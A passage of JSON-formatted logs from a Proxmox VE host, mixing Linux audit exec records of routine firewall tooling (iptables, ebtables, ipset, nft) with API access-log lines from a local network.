key=\"exec\""} {"@timestamp":1781966175689,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.689:68772): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964951244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964951.244:63345): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964203664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964166067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.067:59873): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175294,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.294:68768): arch=c000003e syscall=59 success=yes exit=0 a0=557e9af00ac8 a1=7ffd4883f460 a2=557ebbcad680 a3=557e9aee424e items=2 ppid=66038 pid=66040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480264,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964565814,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.814:61571): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965633751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965633.751:66429): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175297,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.297:68769): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964951244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964951.244:63344): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964200700,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964166060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.060:59872): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.293:68767): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd4883f420 a1=557ebbcb4310 a2=557ebbcad680 a3=5 items=2 ppid=66038 pid=66039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480264,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964565807,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.807:61570): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965628741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965628.741:66427): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175294,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.294:68768): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964951237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964951.237:63342): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964199637,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964166053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.053:59871): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175289,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.289:68765): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965480264,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964565801,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.801:61569): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965628741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965628.741:66426): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63801 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.293:68767): argc=1 a0=\"date\""} {"@timestamp":1781964951237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964951.237:63341): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60774 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964198616,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964166050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.050:59870): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57bf06d99740 items=0 ppid=1156 pid=57494 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966175281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.281:68764): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964565796,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.796:61567): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965628732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965628.732:66424): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175289,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.289:68765): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964946227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964946.227:63339): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964196619,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964166048,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.048:59869): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc137fe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57494 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.272:68763): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965478650,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964565792,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.792:61566): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965628732,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965628.732:66423): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63800 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175281,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.281:68764): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964946227,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964946.227:63338): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60773 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964195590,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964166044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.044:59868): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc147030 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175265,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.265:68762): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965476758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964565786,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.786:61565): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965625773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.773:66419): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8b4a1aa0 a1=556536f331c0 a2=556536f11680 a3=5 items=1 ppid=63793 pid=63794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175272,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.272:68763): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964946218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964946.218:63336): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964191666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964166039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.039:59867): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ecfe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.257:68761): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965476758,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964565782,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.782:61564): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965625654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965625.654:66401): arch=c000003e syscall=59 success=no exit=-2 a0=7ffde9946420 a1=5ec3429251c0 a2=5ec342903680 a3=5 items=1 ppid=63774 pid=63775 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175265,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.265:68762): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964946218,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964946.218:63335): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60772 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964191666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781964166033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.033:59866): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b5d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175253,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.253:68760): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=58bca4a9a740 items=0 ppid=1156 pid=66033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965476758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 872"} {"@timestamp":1781964565776,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.776:61563): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965623.715:66391): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175257,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.257:68761): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964945840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.840:63331): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe53d7cc80 a1=61e41542b1c0 a2=61e415409680 a3=5 items=1 ppid=60765 pid=60766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964191666,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964166028,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.028:59865): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecfe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57490 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175250,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.250:68759): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecb9892a40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965476758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:35 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964565772,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.772:61562): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965623715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965623.715:66390): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175250,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.250:68759): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964945748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964945.748:63313): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc25bfae00 a1=5c90ec764b40 a2=5c90ec747680 a3=5 items=1 ppid=60746 pid=60747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964188644,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964166022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.022:59864): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175245,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.245:68758): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14aa70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965476758,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781964565766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.766:61561): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965623706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965623.706:66388): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175245,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.245:68758): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964941210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964941.210:63303): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964187641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964166015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.015:59863): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.237:68757): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f1240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474118,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964565759,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.759:61560): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965623706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965623.706:66387): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175237,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.237:68757): argc=4 